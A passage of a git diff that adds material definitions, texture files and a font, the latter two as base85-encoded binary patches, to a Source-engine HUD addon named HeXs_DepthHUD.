b/Repos/HeXs_DepthHUD-master/materials/depthhud/X_CircleSolid.vmt new file mode 100644 index 0000000..7b83349 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/materials/depthhud/X_CircleSolid.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "depthhud/circle" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/HeXs_DepthHUD-master/materials/depthhud/circle.vtf b/Repos/HeXs_DepthHUD-master/materials/depthhud/circle.vtf new file mode 100644 index 0000000000000000000000000000000000000000..b9d5b84992d262673cc63dd7d08db711af65abb7 GIT binary patch literal 87616 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 E1F=wpPXGV_ literal 0 HcmV?d00001 diff --git a/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vmt b/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vmt new file mode 100644 index 0000000..928b186 --- /dev/null +++ b/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$translucent" 1 + "$basetexture" "depthhud\linebow_crosshair" + "$vertexcolor" 1 + "$no_fullbright" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vtf b/Repos/HeXs_DepthHUD-master/materials/depthhud/linebow_crosshair.vtf new file mode 100644 index 0000000000000000000000000000000000000000..3fb226873a9172bad5828d329701363c7e3e39a1 GIT binary patch literal 22080 zcmeHOZ)jUp6hANNpG5l1lNl5`v15raL0Dl4ZaSKZ%*FX3u)H*u4BC!uAJ!~E@gG=| zZpfSxVHxw!v7WNq0Tx-Mo@kXst=tI?l^| zdHKC}-o59YbM86k-P{`r?t?}Eu;3oRJ&7OK4vK=mY1{FRy4T$0nPi&-f7n#~(lnDy zUczrWq2u;nkJqmvFL;07ofe4yHfw8Gw}bY<;CsE{$cjdYUSbhWHLtfB!ukv zcrfhI#JhyQrx~x$()DRwAG&b9FMs;a1mRFH-2c^u%;BPUe3o$9>3$9AEmWUD-=XWv z>uVlObXB&uR{jrVy*+gQM_B+5_TNL<{-}u~o1j0h^?8`Sw)V{OWO7AvYF<)HB zQ9c+9Mgpt()19SEtmr*)i|CzBPrXs!c~$185DcxApDV@0-NuUNd3xwu?THG!8b8%u z?-*|T;%qiHCq%m~K4JH~EU@wZ5ksE39svV;rF?bW18<`%= zvOmPv!wvs`mg5n}BaTNLk2oH2JmPr7@tE@g&IdRj;Cz7d0nP_FAK-j|^8wBWI3M7A zfb#*)2mX)wz&2=oY6})QUk~6&>r(u~2lq4w7W4Wa7jF+fiN(a?fuaGHMQlvaqqSQy zF0A*_`taPsbw_DxyZ{gm1mf!+kA=^=%V%*@d+z#rb-kbOAN4;pmijHq_dzy%%7ewE z8~=Rx)NU*$ey@EgZnb}7-GjxvzV7lO$B0|4{Nuc0A8b1F1xMWh1efM)jprBFI88rFAdjj43vsz1+}LtR+v|OC*AQe7x5Da zM}pP1$M>&nFP-2w)~8K%;{0G#@T-4`Suq(~5Tb4ySQIr{_^B`FC?$kwflwr#v@f-X zRrMq37xnEtUdSAq+c%CYQClGGQ7zb>_$6_7%4jd?i+93)w6~Ot_z5CEtiP4@S8MrL zQ}3VHUY^hGPV4&ac~sSv*!>yoj{sKnsQ7dwi25NMNdoM>l~MBvB0~Srkt7^#{v9FV zX$u?`-tS&0(|d5H@+(A|xc{rH?^4{F8h9>OZZ8~Seb-u_)z;V0E7ylck4yg`6pMBc z^*M3}&EX|ofAJXVGth(U3CN=_NPMQNj1#(0z_rJu|4`Q(dgc03s*n3O+k3V4$@i0A zu3bLJ@??3kJ#l}k)%zv;6ZR+UPuQQZKjHCw9M0kKoEneca(w0Z%JG%sE5}!kuN+@D HKEL=I0CDg* literal 0 HcmV?d00001 diff --git a/Repos/HeXs_DepthHUD-master/resource/fonts/DIN.TTF b/Repos/HeXs_DepthHUD-master/resource/fonts/DIN.TTF new file mode 100644 index 0000000000000000000000000000000000000000..f23cf38c7ea56e1c4eecfbaa55500763bc073912 GIT binary patch literal 28956 zcmdVDd0u{MFw{aZjsx#N;@D$P~zfaZagn;_y{@#DDq0-&e z=Tv>G>RaFaTZd3Wh!?q=h@@?1U0No-vDX(U)iq^R_0u+9TucZp#P{6!-R&#>mi^ve z@qINR;$8FCu8x|%vT_9>(l_}1r9~?icMHC+v=btq!!^HKysU50+J*aFgy`-kWbW@e z7q&0Jb$Bgg@420*@cgrG7rr0C_n6M^)$6^hc5cV_m(c$2mMx#(PSR&@Af)RMzW=_v zefw5dBrGSl-L(@#^_KA%fS6RSQ?#H@Pl{kQHn^(P-ln znoMM(r-$iELevQDUHW&jNbtiQg3Ry!{+}qkh=WAME|ou3BQTz~=qI=eb9Xo11f%#F zyGOo6Ncq(2sH(2Too+zL2wr(3BP#nHubcO3?*h9QuK>(DKG9GVg*V8nsem_D#=me~ za7buac!VV~${KBpvB$>6CnP2%r=+H(XJlq&=j7&1$e&nHSTw2FQBqn~K6y$-<mueGlw^@Sy_-5B=ou!$%%D`slI8jz3PGI7vwzq|UM z*M9$pKYsAxM<0Lkr%(S(KKsk(e6x*A!@!_n5==r!CR-B9lllaHE8j zk}^_GCX*?of>e^JWEz=Hs>lpdO=glBGKh?C4FjbsjKBF&_Q%q6X49%&=( zq=U>S3&=vUh%6?Zq>C&eOUW|QO?t?3vVyE6t4J?dP1caLV;FmsQRugD>+O91gF$H{5(2qxrf;!B<(FJe}`i68knd4>Fu{GMDU>&SZY z1nDCmk`3e!vt~G*moV#livV|z93(cE9BqY^>312k*oOp2KgoVPrM%_?-NEd*y|n=$H?z^y@Ecxu>SF6f*PTgj+_T&xF&ukpOr7sVwytUAD_euMueNu!JAnC<##dYEuv0Tg-^F*U42{(jK zg_nhM!fD}za75TFbPJ1wRw0D$qcv0_-;npPqO7-FyuW_T^g671H*la6eY2i#^=owm z1qS&0`TBT!d73cinXNr)!P5@M z&iY0xUQZKi_?#Mie40r1s41O8I{W1IAu_Ac8a5=CO_&qbzFj`k=H_fSa~KC_QQQ^JNS=gb+BZKY^} z+Df~I1Y7BlDKR)DIcjoec}ns{Y%h7_rBV#)tglSidsNiZg1EEPHbmP?r(nVy^^HT0 zwmGc7lw|x==354EGe}BuYD)5JDapk{0f{LDYX~laf7pRK672|!6BMFIaoBb`L7FGx zr+GR`6v5yvCS{PMbgQq`Hx7kj%UOp@Wpa~PrAs$U!8>X}Os~mjK?h>V1V?&!xR;6O zBWNVGdKipKbhsXEic%yEj4;%Jh{#szLG`pQ!sMk0@o1j6PXoND&WqZtzP6k!Uu$NN z*+PSK*|Bk{tj-#Ul9`vAD_!%7w3dBvK((DbN&jol@5*8#J$gbXI38cAK1#dQ{j~jW zE7OC7t4}{OC#SPtIOh~j^{txJ_SkbDpPN2=y6b||b^2t*QO5BGN4^nH0qQ7FT8Cpo z2o0s-)E*QNs`%4bi?5OD(=7^zJT$}{AX$?P5#jz~14bD+RPxNHu24q((`{}%i zJN|yTyL-v;)%$0rcUkjlH*BoUvs&}&`_|XzS?O0Zci)|{Y*|MC{k5BZS+Okov+4^M zs)z4Aci*aGdG+;qPjoN)DSLm6v39m19T=M@NpjdsVHCrll0h#DlE2PmB!ZubN|e$% zo$Mu3Z#IbH#H92D>Z{Ai^UdyZ!#K9g!*|>Z;DQ7gHdmhX&~=|bz-$e$L6^E$qUr^1_Whg z3D&0GjoY_(ojX@nU%7KFy;|Q=FKl+bwxVT)>oaE!BpcE>@{N?QTLR8G9f&KEe~>D= z4fTt#iUabes9%bDf&Akec69(Q`G8+Ni(h?wQeTtLs_*3WJlb~bxNGxc==+MAAfgiU z7)jC{aVBcEcpD|Xjz(A{gAcZ%hsmI8z<}gX55cK30s`wT2z+$Fx!5=k#3Y)9O%o($ z1J4v-SypDQ_*#GC;g-R|&d!N@T4roY=+~7w8X%mqRaul`Vs^;(rog&0A zRADomnwrFLGKc2oXk)TvV_$(GDLQI3P#dK-hDTZQc}UldX)~vkI-9n2FWVLwtNxm< zQ@6Y3%oR?#`kGFhXsV^>ib^XQrqAlyc6U!sRfgIxx810g&ki3Dl?S>8-D9}OaljAq z8phyhgy3vbB%?wl^l8$|{vjq`gSSaE7<7s#`Wpx}0mnfnXfqWfWit(?zO>mt0AmOn z9YZlgdAlvpmSfGKSu`srD==$3=ognXsV8Vbn|kF&(-QT#tFZ+jH!+ZR?ATE&>~XEU zeqDNhJgC@vEkY%20;~!NcLabNi~fp9qB3oUU@ud>h8~IO?&+btIiYfNq>Bhqtnx)* zyC3ArC60ONG}#_TZ5F|hY|8@W*3*1ykFgnL9ahj{mXuplAxYW{q=yQAKRgS~{#K&o z+kM66ym(0w3)w^@6=S<3{@^r#=raV)vH*Fp%tEk>BtKfw*%(G!KrnSdighWU zr*`%A8%;~q^V&T9t!zzY_daE=G_Sm}^|X)Ak@zWz<+GF~-HwG*y9?KByK@R%+h(qu zxPDbtRr8FKHAl0i#8j1a_7yCx*qxJ!SzRO)2}>|9aiqYJ9YI6<^wh^gFof8mFekCp zFUH46bv6%)D54ah6a1PngL15&&>RyeDMA7tC?@@XI3i)mKLK9M`*C17w3Wg%KpRZb z9PvSvZ#TWo$0X^^)Fx1n3CU~{L_dETq-`-8${_^V0w&(tQJiXMTS}OwhSSFMnH8lC z&4tS=mfaf_tG-Rw36g8fOi55B3SLh^%dYO#~tn)DTl_n8|=z?U< zHwA*-rHBH?6)-xk;#7bq+C+aac{->pP&V(}DWARhzLapIdI#evm!)1|z}=SB5vs%X zq+X)QsHf6QHprP0#H}&m3R^Xc6=7gtK)pOLAobE>^<`SjT7u3iokL4u;1D&A$)RQ; zf(SkqKci6}=_Qy9LZkp9B}gHrK$C|-XNa^!golO%o4Mrf<2@#}3p6yHcma-4{=s>e zO@x3V+Wf637z;01qSZf3%#y95RXX=p)@$!pcg|D~RdrUs_HNdj?@wD=MHfw5H1#F* zP4#d#T`cyiSDMrS`UNXZG{1$uuO_h4qF!O#p>xD6#R3o6UEcNBE=B}^)D{dwNDis|*jgqqBjRf~Qyi*E0IdXesf zKPb)fs^?5sgciwE5YzEw{qDt+l%M}xwmGsYi%N8^Ge+N}n5=!YNGQ`+4LJLYD^=&c z70JOqu5-$Cuv8f`=hup#{4xXze^>z0pwpK)CS=pb<0x zR95?}XkQe+vc8&i2M?^T=_^xT=44gPcxc`FgXJ4*syCF2KC_$8ook*wd|-C-+{R~{ z8mUyXY0BaC*ZK}m*<2&O%NUbtUH6lpth-jTc?znAo8Fzbuvv-dmqTL`4cRn| z)|+DjWD~7R^zl*Z^7SCV4vZdb1@eK_7N=OFQ!%JXG>;44Zk~~;qmzW3EFT>m6^P8h zklb8<%20wyM{?Ef!57t$dw$c~G|-ziCFN(EX5CkFN?u7Hv)O#Q`_)&L&Z=HkP;X2z zE0xoKu1;REaOR~0?Y}sEq4QGTvd5Or$m>{9u;J8U);e zg)ab!2qQ^)GjxYUot=jXFhhq@0(}FR?nIxjD9H?niwnps zsmP7@iHtPblKU!43gfDJrJmlZgo!1UxyiQT`8S`OUmTd4jJ~#^uYUApW_|g|zKT!> z(kD|*dWVO5PmHa~&ku|{zP=)%6m=Pv z!VbyVQD}9yiX&aOU1zkr42cFtEm?iP*n2`{@ogV~02zRS3+3051C0B^(qP1~A&+bveciJA@` zJj8k+Bb~xI&YJ;`05WrntpXlKA%t_T=emVTW!iTZXR>U9HNt+`)*ur%9 zNa!HU9N=VHdqcPZ9LvV(4j|-m4)&cd2rssr5GeX;8;xmnP(23QhkAO3+Vd9<);A0; z%In;}b<6(!Tej|}eXE{Yu;8gx!b|mgyCzKN+FS3MCY;`W`t){JJ^liE#)moYR7eDq zZxs_YNYqcJP6CSxmv13aVjNbRubg8C)9h6LH#Kz11)p#JgpGbbNX{XQC6pvP?4Hyh z7z`F43@3yNP*n98P>3f)qd-V1vR*uW(&)Gm!miXG`PS+(Nq{sCa`flgtzyJO3Ez+W!hw0mD23w&+n4cr)$4(|X zGL1CI(-2_^X9yQ61X--me?2Ws_JW{|HS(u&BsHMdrjRgCMTpZdkfET$)Ze&K^#KG> zQxtXBvalC{9YO>Uk0ec5^3=svr>WC>`=)}PsQk#~k1g08G*@`Rb*$yWG3S&F`iHF- zDmpuyht_Y3kIp~5>h#rFmBQyOuHj{kQ(nj3*oVDw0MPoAD3alb_o5abGgTruh=Sy4 zGSPrggC`&jkYq2~5DH!`M6;QJ7Rz@ERto}3ZXPs10L86AV>)`Scpz*3zUFgp+f(Se zE_JA~W6i(L>3ZnifrAGJ>hGCMkIX*2w&auZ6@znyZ(OamWfwN>dhV%*_7Bb4hj|>r zdYuMjdJ^LZCseZNO#(Oy1WOV0OrQ-C;}u4}N?0Ve@vVWF9r3hlc&Q+}-tQ8IW#^42 zW#^}~1k`0YMtTN2Cj!!1A<1`SMq3zbhUvkQkV%z%H_AHUs*ppe(`=Cx584px<)b)r z!I#}q$vEnOL37^BNCY%FMF++ta{Z25!ayi;{W&&|eHG92ys&2V3q2c`&0jQO(VqGh zPjxKls92o0z4ETQy8bCgHr4f4M5Z>ZEO+jyeP(OJzFN9t)y1x^i>o#~H!=6*ike-E zC(b{!bmhsMxFtJ<#kJd}PTMxC|M;}6uEXUkXQ$UaFnjB>wfmS{4d0)*i&MO4wyMFL zM99<JN7^JHUo#{+ZLKh@GX`JVcLgO0l!v9gl={wG`};ka$-#opNuuP*6)VMF`ASws7q z_Rp?)0PqcCqwE*WSQQ)56J(Rngw`3{+Z>J?mvi^(0^$7b8rH* z0?strip3GgTcMIpRwMxpKpW8XG|uaAyQl-JLKFI3yI32oZjQA^{XlnFc5*xmlW2$z zmIk1i2zLNe!r}=tKQJ_7A_;)8QkwzDZq;4>Zk4DX9DYqK7##jq*-bwi{#Gm$3x>aC zuyxaFXn>#b5k@&exDFVulbPL(4G_xU_yIC5jG`%oOeqw$x2cQUunTU3j?fTjqJT~> zz+0g~2bFRhbbJ@&SZS8-^6;yJqW-&H1;7moVZ*PA`o*FikevW-3;;JGnUoIP&*n3^>M=xyV|ICK&=%>zwm z?44mzr(>cgub(!(ue5XS$)$@(bSnn!KtFQ>JdL?0BMm z?h`l5cL2JhBVS9`vFi(A3oUa@jEK&|9u1@=&0Hp$Hah z#yy?oCZag)8IYl8j8Q0v4ql8zL7-z)ikk$?Af@^1uZX$5dFQfU8!U2;G;$Do3TW>-t@dcdZkG=ToBo8pe+f^(c&l z{$kVcNnq(mXr0+PyM z_25FamY!Mo;4C`$;;-ei&1Y8k4#gxqCnU7>7rNdYbbUJa-b&Y#l^|`9GGQ@i^eu(N zJFI3RgeDk5!~6hm0tZx(g1{o`qCGGpX``s?Mg#aTAmcMUfOv1?R88k4vUSF?XJz6y zX;<)l@7&dSsiI_pm)C@niWj=>{>}E_6;W?JP`zhDTvD*&m7bZmx4Qk&KN9>@(LymNU!D0Nm{Y3N)4iat=hIcxhZ>j z{N(OmsmEyBuevA43ty$bq<%OjsUT858#ys~j_Nv}Qgrye$t!RAt(^R~pJEOfL{32D zK@uD`DU9iBVG0w{2JS`S-YVv?lAOc4#5Kb=g#E5=QIXGf zxL)dTonxyr+OmPz9TpO1U@Z%c;CD&9qu_|`^^J#JiIb|FMF7@&1}FBK+klvPE*Q@khwKJ3{q>(LFd1BhX44nj5Xy$hgL1 zpxoI5<|<2D)Fkx;2KUJ}b&{B&HmPestX7J9TnBywp=3&+1LO9kV1(ee?p!hSyJE%%cT)is0*QP^~fdi~)XsmYHn_uKstYo!)i+`;%-;&IEh;-aPMG_N%FH zrUp+t-Sho9KL6BUfspb8Gwpn9+MDGs0&^HWzJ!_f0&mZCB>RWyFw@b-}d+=OS$)5qwJW-W4acYpWPGlaP`pq@~%Q(hl}t~T)Tr#Bw^br{{g?||#9odr2k&EJhx$c4o`KO;RR*lbYZy$p65A7O=)$4I?E z(V2fZBi$Zsmi>|pG1xeM6p$KeeNwor2otm=;36qw?A%-j!o*}!%y}9Gt7K+#<~G)G zOoyr5g0Ky4I+yax`k!0Td3tYYb?JutoxP`8YV1w*Po8Y;Em{5KqHQnDtDN!3`lIKj zC#;+J$ih`AlS=6Jrh{Gi@lISnJ+flQ+G56t#nudc zh<9RK7IZL*h&CAeFzY%3`5*c#W}WG;qJf#?>Zk}Z#q<+50|ZWk=lH2rJ?aecJ-Oz_ zkX*y~#9P?)%tI20Js;}Lr5h>*nvAA8sO)l`k=d=>+e6dG!Q`0bDhpCA7iaKMI@kZn zzP+FJ_q3nwUHMFV550Q-A2)9N|xn-^k-M9f)x1h&e?jA#} zI@Y5VYm6QhLGWutD3u$*S&v+Sx6)neJ8!*3(+)Y6TqlG2h}gz;Q3bYNA6Utmw|^qP zbDXE2qlXAX=s(o!owTe~Y@>fyeS}s9v3fy@7*T+u@Uz;P6@f~rS+8XhW2T+nPOP+{M5U3YVeKw(jaq=>p;x1=0)Ys25Sm5x{DPBiBs*y&z!v zTf(4>MtenJ?@>EUWj)osv=1C@&M z6?3f7n(HPnSM2SYbZ=Kh&&+;J>3moC<3+lQ4D;=#7X<2~%3Sj?d(Km*F7Jb9;1g^#Zi|Ctv2&8ue z->?;Dk!jm7qgH0W_J-HlV(_5>7854aN-Y+V(|y$YHH7GaK+Gi13=eibb6kwkNIGc# zt$?%KJaOC1y^H5Ry1KCI)on}m%&1JLo|XHr%`uS{d-K0mubQ-Lwqx?WmsURV@rDv- zX` z{IPhsI4_GQqzgazpCr2iKfVBt=Y{q3gY8BKAVoywX%TY((gvallM&O%3SdQwjsS^C z`Jik2_Pp+CO_c{f5C?~Q#lh6?VadT;B=kjws zCmV$Ydk#(BHrE9wgzMbEoRbI#6v#zvz5?{-j{l%$%|EL%LU*PDbxO*u_zxyXFhd^W z5d{MSrp`_|W8g-$c#Q}npCSH1YsVXWH%e>AVA1QC>DJq5pzxxw<~-4yFWbDMjRh#& z!^1R3-e}+I=E{aL*7A4j*5B7s8Xe|cViczyc4^O|8wkOumFhh*mbgP(QO^J zwml-C}xaE)OWy)H#^9 z#!+hEM`v!-Oy%8ESjELU0k?ua&%{B($U7LE5#jEsZnV#q`QuZ*S3^TPeeaF${GFG znKo#P4)O6;lyHLq5$lmb=uk%u?r33Kbf}NFY>G65(AmU9VMftWXQUsrLFP6EJ7#Q; zlk>Q|AZDY=j!mO6jJI%+0l39Nha)LW(*y0#tQ&r?viF_6KWS+{p}s%+*s{*Ejw!2- zZ@8zu^U<9LX~>*y6@!(13l~(?7`%i3THil8FJnsmf~M-31~1bJKn-uQ5GR{~ODT?6 z6ZN8sT@P;O$LR_pn;FaVfiGF64IYM3md8!X&B3D*N};}bb-gN+h0 zrWZpjISU4HvTbpf#x2$iv~~;$>s&`TyAT$jFXZHj_2|p30U9CC8*_g|0~G7kLyOfz zt7rmE5U&l}QI3gijE18X`2boOrvVxnqhYNj{kR6`4-)P#A5dRiqJFOab*cK=DkLc` zqG7|l^}OLXv>rx#sRgVp=w(#@Ll@)qzq}vU|H2rrXz2%k__m)`t1tE6xZbb6M31R$ z^jrFg+Divnaw5jTBI?nDFZ?ZV;OQ(7x-j!T-bP~d)QMs)4>@GPJ4_VhK4^ID-GL0n zlxu_aYEEcE+4_vQ364a+nz8A+88S1bxFxhOf&k@Ev?!pY zdN)pKs$s#8s)lJUhfwSKHOwxjh58OLqNQW_6O3XJ;$^JR)6yZG#d>)P;b{g-SUA%U z)3~-4PJ{#+>m@)qiuOl3L#9ThAsV^eW{8H;qBD486tfa?Sq(#l>x_B5wV*7P>JTw) zZd63D-JWH)XT;fqBckR`iwMif^b0R2brgmBWaoq(3bj}oX3|r$W8#|P>`r=WrZXZc zxW&UKYN6U#JvTbCty*nd80GE3bhWW4TpoFZ7*()oEr1rfn#{x#1m0@e=;$cZ*eKJ8 z5ansG*r1@9B0Tvh;Ur3+(VhZ4`!XA4#^@*^9`k{C37UN39wf7&FiR4zWJXgqNS@BY z24^muTZMt;dPNkJl;uaTfkjl!wOGvdxD2~+Ixc3m+E`yx7&_PFWnDl|&1j2?o?A^% zEwK7{w1h;4*Ve0zPJ0}~v2J<+e&QY2GvJ&Eehou%j^YLE3JvAfxomEOkJO+|2c6-z zu2j4!ELe?2Cz-iLK2IE~X)U&t*M*noMyHk(6whdLm~-rt!-5M^!c$5MguI$Gzi3mq zzqO!vX1a%GxQ8*sWG!GBCET;9{0;dH`N(__kq6nyGfH^9?ya%<|3-Zuu0N#~aqn9+ ztf-8GeZ7vg@)7JYP94i)f#nOW94A|NE2x+CIzQAy*+Tu7N4_{mZ*72=V-D((-=eZ!@2qY7!P+mz)iMaR79Jm0J2+PR<*iz!eysMtdF`ND z#I@IG$5kFMh_=B}yjH_jkX)Qd?YaalDe9YVZFFq5;)vtMf z%;3{8uD)?ZVD%%=D4>V2d?D@nFVq{n9$DLhNoK8U^^dEFzX05t2Es;;ya~+cms3XJ zKE+#Etc@lNwb+Z_NJ+dFoDZwG7&)syboCePYIpt_>rrdt@o}}RKdtslUd#C#Z@F9R zFNd{oXKmvT)_yUrmi4B!@HkS{DT{NErf_*b9)2F^qwa7o1FU$X5s^?wM!nLuXFueeThvwJSX_9|d`DNI)XysK zect)d?9ydLh25p|cT8G_o(D1Y+c2gGi}ELoB|WYVqZ8k0L;J)Vv~YOP{-7 zQsatKbLN~{(b#(L^vVgH6&0Nm)R#9`G6PE`-IY^n5x)7>bKvTp-B$-Z-+ogptt~Cd z7ZDnhU$Rb23+&X)EuD-TVFcG;`wwLiSf12ZGI&v6IKw3bd6=nP5{ycS+W~F%gk2*< 